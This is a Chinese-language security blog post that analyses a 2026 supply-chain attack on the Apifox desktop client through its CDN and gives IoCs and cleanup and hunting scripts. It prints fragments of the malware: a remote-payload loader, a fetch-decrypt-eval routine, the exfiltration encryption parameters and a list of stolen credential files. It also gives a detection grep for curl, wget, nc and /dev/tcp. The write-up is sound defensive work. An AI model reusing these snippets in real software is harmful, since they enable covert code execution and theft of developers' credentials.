AI 摘要(由 ChatGPT 总结生成):
2026年3月,API调试工具Apifox遭遇供应链投毒攻击,攻击者通过劫持CDN植入恶意代码,窃取开发者的高权限凭证。攻击利用Apifox未严格启用sandbox参数,导致远程代码执行。在攻击活跃的18天内,恶意代码能采集用户信息,并通过C2进行数据外泄。该事件表明攻击者具备高度定制化的能力,可能导致深度入侵,影响范围广泛。应急处置措施包括封锁C2域名、停用Apifox,并轮换凭证以防止进一步损害。

2026 年 3 月,API 调试工具 Apifox 发生供应链投毒事件。攻击者通过劫持官方 CDN,向数万开发者的终端植入后门,窃取 SSH 私钥、Git Token、K8s 配置等高权限凭证。


一、事件概况

攻击入口

Apifox 是一款基于 Electron 的 API 一体化协作平台,提供 Windows、macOS、Linux 三平台客户端。因未严格启用 sandbox 参数,渲染进程可以访问 Node.js API,攻击者正是利用这一点实现了远程代码执行。

Apifox 启动时会加载:

https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js

正常版本约 34KB。3 月 4 日之后,该文件被替换为 77KB 的投毒版本——攻击者在合法 SDK 末尾追加了约 42KB 的混淆恶意代码。

时间线

时间事件
2026-03-04C2 域名 apifox.it.com DNS 上线,CDN 文件开始被投毒
2026-03-05Wayback Machine 抓取存档投毒版本
2026-03-12 ~ 03-20观测到至少 10 次不同的攻击载荷下发
2026-03-22apifox.it.com DNS 记录下线
2026-03-25CDN 入口文件已还原为正常版本

攻击活跃窗口:2026-03-04 至 2026-03-22,共 18 天

受影响范围

所有在 3 月 4 日至 22 日期间启动过 Apifox 桌面端的用户,Windows、macOS、Linux 三平台均受影响。特别是拥有 SSH 密钥、Git 凭证、K8s 集群权限的开发者和运维人员。


二、技术分析

被投毒文件结构

77KB 的投毒文件由两部分组成:

区域大小内容
第一部分~34KB合法的事件追踪 SDK(GA4、百度统计、阿里云 SLS、PostHog)
第二部分~42KB混淆后的恶意代码

攻击者选择在合法文件末尾追加恶意代码,而非替换,这样文件在功能上仍然正常运行,极难被察觉。

混淆技术

恶意代码采用了 7 层混淆:

  1. 字符串数组旋转 — 300+ 条编码字符串,通过 IIFE 暴力旋转数组到目标偏移(最终确定为偏移 275)
  2. Base64 + RC4 双层解密 — 字符串先 Base64 解码,再 RC4 解密
  3. 代理函数 — 包装解码器,增加调用层次
  4. 十六进制算术混淆 — 数值常量用复杂表达式表示,如 0x2425+-0x1*-0x415+0x80b*-0x5
  5. 控制流扁平化 — 通过对象属性间接调用函数
  6. 死代码注入 — 永远不会执行的分支
  7. 反调试陷阱 — 检测调试器则触发无限递归

恶意代码核心功能

RSA-2048 私钥

恶意代码中硬编码了一个 RSA-2048 私钥:

const PRIVATE_KEY = `-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDOPeHTeyrblELD
...
-----END PRIVATE KEY-----`;

用于两个目的:

  • 加密上报数据 — 从私钥提取公钥,OAEP 填充加密后附加到 HTTP 头
  • 解密 C2 指令 — 解密服务器下发的攻击载荷

把私钥嵌在客户端代码里是攻击者的重大失误。这让安全研究人员能够解密全部 C2 通信,完整还原攻击链。

机器指纹

MAC地址 + CPU型号 + 主机名 + 用户主目录 + 操作系统平台 → SHA-256

生成 64 字符的 af_uuid,存储在 localStorage._rl_mc

窃取 Apifox 用户信息

localStorage.common.accessToken 读取登录令牌,调用官方 API 获取用户邮箱和姓名:

GET https://api.apifox.com/api/v1/user
Authorization: <accessToken>

这些信息经 RSA 加密后附加到后续请求头,让攻击者知道每个受害者的身份。

C2 通信协议

Header内容加密
af_uuid机器指纹明文
af_os操作系统明文
af_user用户主目录RSA
af_name主机名RSA
af_apifox_userApifox 邮箱RSA
af_apifox_nameApifox 姓名RSA

远程代码执行

const r = await fetch(REMOTE_JS_URL, { headers: h });
const payload = (await r.text()).trim();
const code = rsaDecrypt(payload);
eval(code);  // 任意代码执行

从 C2 获取加密的 payload → 解密 → eval() 执行。这是一个完整的 RCE 平台,C2 可以在任意时刻下发任意 JavaScript 代码。

持久化

setTimeout 设置 30 分钟 ~ 3 小时的随机间隔后重新轮询 C2。只要 Apifox 在运行,恶意代码就持续活跃。

攻击载荷分析

Stage-1:加载器

C2 返回 344 字节的加密数据,解密后:

(function(){
  var s = document.createElement('script');
  s.src = 'https://apifox.it.com/<随机8位hex>.js';
  s.onload = function(){ s.parentNode && s.parentNode.removeChild(s) };
  document.head.appendChild(s)
})()

特点:

  • 路径随机化:每次请求生成不同文件名(49b5e0ba.js69bd75f5.js 等)
  • 用完即焚:历史路径访问返回 404
  • 自动清理:加载完后从 DOM 移除 <script> 标签
  • 客户端绑定:af_uuid 被硬编码到 Stage-2 代码中

Stage-2 v1:信息窃取

约 3,400 字节的明文 Node.js 脚本,代码里保留了完整的中文注释。

窃取内容:

平台目标
全平台~/.ssh/ 整个目录(私钥、公钥、config、known_hosts、authorized_keys)
macOS/Linux~/.zsh_history~/.bash_history~/.git-credentialsps aux
Windowstasklist

数据外泄协议:

JSON → Gzip → AES-256-GCM → Base64 → POST

AES 参数:

  • 密码:apifox
  • 盐值:foxapi
  • 密钥派生:scryptSync(password, salt, 32)
  • IV:12 字节随机

上传到 https://apifox.it.com/event/0/log

Stage-2 v2:纵深窃取

攻击者持续迭代,v2 版本新增:

目标说明
~/.kube/*K8s 集群配置,含 OIDC refresh token
~/.npmrcnpm registry token
~/.zshrcShell 环境变量,可能含 API Key
~/.subversion/*SVN 凭证
目录树遍历主目录、桌面、文档;Windows 额外扫描 D:\ E:\ F:\

上传到 /event/2/log

关于中文注释

攻击者在入口文件里部署了 7 层混淆和反调试陷阱,但 C2 下发的实际载荷却保留了详尽的中文注释:

const salt = "foxapi"; // 盐值也必须提供
// scryptSync 会根据密码和盐值,计算出一个确定的 32 字节密钥
/**
 * 使用 AES-256-GCM 加密数据
 */

这种矛盾可能说明入口混淆层和后端载荷不是同一人编写,或者攻击者认为 RSA 加密已经足够安全。

未知的后续阶段

必须强调:目前捕获到的 Stage-2 v1/v2 只是侦察阶段。这个恶意软件的本质是一个完整的 RCE 平台——C2 可以在每次轮询时下发完全不同的代码。

攻击者完全有能力根据已回传的信息筛选高价值目标(金融机构、加密货币交易所等),然后下发定制化的后续载荷:植入独立后门、横向移动、接管生产集群、二次供应链投毒……

对于这些目标,后续可能已经遭受了远超凭据窃取的深度入侵。

攻击链

1. Apifox 启动,加载投毒 JS (77KB)
   ↓
2. 采集机器指纹,窃取 Apifox token,RSA 加密
   ↓
3. 请求 C2: GET /public/apifox-event.js
   返回 Stage-1 loader (344 bytes)
   ↓
4. 解密执行 Stage-1,动态加载 Stage-2
   路径: /<随机hex>.js (一次性)
   ↓
5. Stage-2 执行
   v1: ~/.ssh/*, shell history, git-credentials, 进程列表
   v2: ~/.kube/*, ~/.npmrc, ~/.zshrc, 目录树
   ↓
6. 数据外泄: Gzip → AES-256-GCM → Base64 → POST
   ↓
7. 持久化: 30min~3h 后回到步骤 3
   ↓
8. ⚠️ C2 可在任意轮询中切换载荷

三、关于 apifox.it.com 域名

攻击者使用的 C2 域名值得一提。

.it.com 不是意大利国别域名 .it 的子域,而是一个商业二级域名服务。它不属于 ICANN 标准注册局体系,没有公开 WHOIS 信息,注册门槛极低,非常适合被滥用。

从受害者视角,apifox.it.com 第一眼很容易被误认为:

  • Apifox 的内部测试域名
  • Apifox 意大利区域服务
  • Apifox 某个子产品

这种域名选择是精心设计的社会工程学——利用视觉相似性降低被怀疑的概率。

DNS 记录:

IP组织首次发现最后发现
104.21.2.104Cloudflare2026-03-042026-03-22
172.67.129.21Cloudflare2026-03-042026-03-22

攻击者用 Cloudflare 作为前置代理,隐藏真实源站 IP,获得合法 HTTPS 证书。


四、IoCs

网络指标

类型
C2 域名apifox.it.com
投毒入口cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js (77KB)
Stage-1https://apifox.it.com/public/apifox-event.js
Stage-2https://apifox.it.com/<随机hex>.js
数据外泄 v1https://apifox.it.com/event/0/log
数据外泄 v2https://apifox.it.com/event/2/log
被滥用的 APIhttps://api.apifox.com/api/v1/user

观测到的 Stage-2 URL

/49b5e0ba.js  (2026-03-12)
/69bd75f5.js  (2026-03-14)
/bf0475de.js  (2026-03-15)
/ad0ff2db.js  (2026-03-16)
/185f3323.js  (2026-03-17)
/2a44e5af.js  (2026-03-18)
/46066214.js  (2026-03-18)
/4a8b213c.js  (2026-03-19)
/5dc09173.js  (2026-03-19)
/8e349a9b.js  (2026-03-20)

以上路径目前均已 404。

主机指标

类型
localStorage 键_rl_mc_rl_headers
被读取的凭证common.accessToken
异常 HTTP 头af_uuidaf_osaf_useraf_nameaf_apifox_useraf_apifox_name
被访问的文件~/.ssh/*~/.git-credentials~/.zsh_history~/.bash_history~/.kube/*~/.npmrc~/.zshrc~/.subversion/*
执行的命令ps aux (Linux/macOS)、tasklist (Windows)

加密指标

类型
RSA 私钥PKCS#8 格式,模数起始 MIIEvQIBADANBgkqh...
AES 密码apifox
AES 盐值foxapi
AES 算法AES-256-GCM,scryptSync 派生密钥,12 字节 IV

五、应急处置

立即执行

1. 封锁 C2 域名

Windows(管理员 PowerShell):

Add-Content -Path "C:\Windows\System32\drivers\etc\hosts" -Value "127.0.0.1 apifox.it.com"
ipconfig /flushdns

macOS/Linux:

sudo sh -c 'echo "127.0.0.1 apifox.it.com" >> /etc/hosts'

2. 停用 Apifox

升级到 >= 2.8.19,或暂时迁移到 Postman、Insomnia、Bruno 等替代工具。

清理缓存:

# macOS
rm -rf ~/Library/Application\ Support/Apifox
rm -rf ~/Library/Caches/Apifox

# Linux
rm -rf ~/.config/Apifox ~/.local/share/Apifox ~/.cache/Apifox
# Windows
Remove-Item -Recurse -Force "$env:APPDATA\Apifox" -ErrorAction SilentlyContinue
Remove-Item -Recurse -Force "$env:LOCALAPPDATA\Apifox" -ErrorAction SilentlyContinue

凭证轮换

这是最关键的一步。凭证不轮换,攻击者就还能访问。

优先级凭证时间窗
P0云厂商 AK(AWS/阿里云/GCP/Azure)< 1 小时
P0SSH 私钥< 2 小时
P0Git Token< 2 小时
P1K8s kubeconfig / OIDC Token< 4 小时
P1数据库密码< 4 小时
P2npm / PyPI Token< 24 小时
P2.env 中的 API Key< 24 小时

SSH 私钥

# 删除旧密钥
rm -f ~/.ssh/id_rsa ~/.ssh/id_rsa.pub
rm -f ~/.ssh/id_ed25519 ~/.ssh/id_ed25519.pub

# 生成新密钥
ssh-keygen -t ed25519 -C "your@email.com" -f ~/.ssh/id_ed25519

# 审查 authorized_keys
cat ~/.ssh/authorized_keys  # 删除不明公钥

# 部署到服务器
ssh-copy-id -i ~/.ssh/id_ed25519.pub user@server

云 AK

# AWS
aws iam update-access-key --access-key-id AKIAxxxx --status Inactive --user-name <user>
aws iam create-access-key --user-name <user>
aws configure

# 阿里云
aliyun ram DeleteAccessKey --UserAccessKeyId LTAIxxxx --UserName <user>
aliyun ram CreateAccessKey --UserName <user>

# GCP
gcloud iam service-accounts keys delete <key-id> --iam-account=<sa>@<project>.iam.gserviceaccount.com
gcloud iam service-accounts keys create ~/key.json --iam-account=<sa>@<project>.iam.gserviceaccount.com

Git Token

GitHub:访问 https://github.com/settings/tokens 删除所有 Token,重新生成时只授予必要权限,设置短过期时间(7-30 天)。

K8s 凭证

cp ~/.kube/config ~/.kube/config.backup.$(date +%Y%m%d)

# EKS
aws eks update-kubeconfig --name <cluster> --region <region>

# GKE
gcloud container clusters get-credentials <cluster> --region <region>

# AKS
az aks get-credentials --resource-group <rg> --name <cluster>

六、系统排查

Linux

检查感染迹象

# 检查 localStorage 中的恶意标记
find ~/.config/Apifox -name "*.ldb" -o -name "*.log" 2>/dev/null | \
  xargs strings 2>/dev/null | grep -E "_rl_mc|_rl_headers|af_uuid"

# DNS 历史
journalctl -u systemd-resolved --since "30 days ago" 2>/dev/null | grep -i "apifox.it.com"

网络审计

# 当前连接
ss -tulpan | grep ESTAB

# 检查是否有到 apifox.it.com 的连接
ss -tulpan | grep ESTAB | awk '{print $5}' | cut -d: -f1 | sort -u | \
  while read ip; do host "$ip" 2>/dev/null; done | grep -i "apifox"

敏感文件访问时间

ls -lau ~/.ssh/id_rsa ~/.ssh/id_ed25519 ~/.aws/credentials ~/.kube/config 2>/dev/null
find ~/.ssh/ -type f -atime -30 -ls 2>/dev/null

后门排查

# authorized_keys
cat ~/.ssh/authorized_keys
sudo find /home /root -name "authorized_keys" -exec cat {} \; 2>/dev/null

# 定时任务
crontab -l
sudo cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/

# Shell 配置文件
grep -E "curl|wget|eval|exec|nc -|/dev/tcp" ~/.bashrc ~/.zshrc ~/.profile 2>/dev/null

# UID 为 0 的用户
awk -F: '$3 == 0 {print $1}' /etc/passwd

Windows

检查感染迹象

# DNS 缓存
ipconfig /displaydns | Select-String "apifox"

# localStorage(LevelDB)
$apifoxData = "$env:APPDATA\Apifox\Local Storage\leveldb"
if (Test-Path $apifoxData) {
    Get-ChildItem $apifoxData | Select-Object Name, LastWriteTime
}

网络审计

# 连接及进程
netstat -ano | findstr ESTABLISHED

Get-NetTCPConnection -State Established | ForEach-Object {
    $proc = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
    [PSCustomObject]@{
        Remote = "$($_.RemoteAddress):$($_.RemotePort)"
        PID = $_.OwningProcess
        Process = $proc.ProcessName
        Path = $proc.Path
    }
} | Format-Table -AutoSize

持久化排查

# 注册表自启动
@("HKCU:\Software\Microsoft\Windows\CurrentVersion\Run",
  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run") | ForEach-Object {
    Write-Host "--- $_ ---"
    Get-ItemProperty $_ -ErrorAction SilentlyContinue
}

# 计划任务
Get-ScheduledTask | Where-Object {
    $_.Actions.Execute -like "*powershell*" -or
    $_.Actions.Execute -like "*apifox*"
} | Select-Object TaskName, State

# WMI 持久化
Get-WmiObject -Class __EventFilter -Namespace root\subscription | Select-Object Name, Query
Get-WmiObject -Class CommandLineEventConsumer -Namespace root\subscription | Select-Object Name, CommandLineTemplate

七、风险评估

已确认的风险

风险影响
SSH 私钥泄露直接登录服务器,横向移动
Git 凭证泄露源代码仓库未授权访问,二次供应链攻击
Shell 历史泄露暴露内部 URL、数据库连接串、API Key
K8s 配置泄露集群管理权限,生产环境接管
npm Token 泄露发布恶意包
Apifox 账户泄露用户邮箱姓名,定向钓鱼

潜在风险

这个恶意软件是完整的 RCE 平台。C2 可以在每次轮询时下发不同代码,攻击者有能力:

  • 筛选高价值目标
  • 下发定制化攻击载荷
  • 植入独立后门
  • 横向移动
  • 接管生产集群
  • 二次供应链投毒

注意的是:对于被标记为高价值的目标,后续可能已遭受深度入侵。不能因为当前公开的 IoC 只涵盖侦察行为就低估威胁。


八、安全加固建议

最小权限

  • 云 AK 只授予必要权限,设置短过期
  • Git Token 只授予必要仓库
  • 数据库使用专用账号,不用 root/admin
  • SSH 用普通用户登录,需要时 sudo

临时凭证

# AWS STS
aws sts assume-role --role-arn arn:aws:iam::xxx:role/DevRole \
  --role-session-name dev --duration-seconds 3600

# 阿里云 STS
aliyun sts AssumeRole --RoleArn <role-arn> --RoleSessionName dev

网络隔离

  • 开发/生产环境隔离(不同 VPC 或账号)
  • 敏感服务禁止公网访问
  • 出站流量限制白名单
  • 用堡垒机/VPN 访问内网

文件监控

# auditd 监控敏感文件
cat >> /etc/audit/rules.d/sensitive.rules << 'EOF'
-w /root/.ssh/id_rsa -p rwxa -k ssh_key
-w /root/.aws/credentials -p rwxa -k aws_creds
-w /root/.kube/config -p rwxa -k kube_config
EOF
sudo augenrules --load

定期审计

  • 每月检查 AK 最后使用时间
  • 每月检查 Git Token 权限
  • 每季度清理废弃凭证

软件来源验证

# 校验哈希
sha256sum apifox_2.8.19_x64.AppImage

# macOS 签名验证
codesign --verify --verbose /Applications/Apifox.app

九、排查脚本

Linux

#!/bin/bash
echo "=== Apifox 投毒排查 ==="

echo -e "\n[1] DNS 历史"
journalctl -u systemd-resolved --since "30 days ago" 2>/dev/null | grep -i "apifox.it.com" || echo "未发现"

echo -e "\n[2] 当前连接"
ss -tulpan | grep ESTAB | grep -v "127.0.0.1\|::1"

echo -e "\n[3] 敏感文件访问时间"
ls -lau ~/.ssh/id_* ~/.aws/credentials ~/.kube/config 2>/dev/null

echo -e "\n[4] 定时任务"
crontab -l 2>/dev/null
grep -r "curl\|wget\|eval" /etc/cron* 2>/dev/null

echo -e "\n[5] authorized_keys"
cat ~/.ssh/authorized_keys 2>/dev/null || echo "不存在"

Windows

Write-Host "=== Apifox 投毒排查 ===" -ForegroundColor Cyan

Write-Host "`n[1] DNS 缓存" -ForegroundColor Yellow
ipconfig /displaydns | Select-String "apifox"

Write-Host "`n[2] 当前连接" -ForegroundColor Yellow
netstat -ano | findstr ESTABLISHED

Write-Host "`n[3] 自启动项" -ForegroundColor Yellow
@("HKCU:\Software\Microsoft\Windows\CurrentVersion\Run",
  "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run") | ForEach-Object {
    Get-ItemProperty $_ -ErrorAction SilentlyContinue
}

Write-Host "`n[4] 计划任务" -ForegroundColor Yellow
Get-ScheduledTask | Where-Object {
    $_.Actions.Execute -like "*powershell*" -or $_.Actions.Execute -like "*apifox*"
} | Select-Object TaskName, State

Write-Host "`n[5] Apifox 目录" -ForegroundColor Yellow
@("$env:APPDATA\Apifox", "$env:LOCALAPPDATA\Apifox") | ForEach-Object {
    if (Test-Path $_) { Write-Host "存在: $_" -ForegroundColor Red }
}
End

本文标题:Apifox 供应链投毒攻击:技术分析与应急处置

本文链接:https://www.isisy.com/1593.html

除非另有说明,本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

声明:转载请注明文章来源。

如果觉得我的文章对你有用,请随意赞赏